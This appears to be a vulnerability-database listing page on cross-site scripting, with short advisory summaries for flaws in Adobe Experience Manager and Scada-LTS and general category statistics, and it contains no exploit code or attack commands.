Adobe Experience Manager versions 6.5.22 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A flaw has been found in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38892

Related CWEs

MITRE ATT&CK

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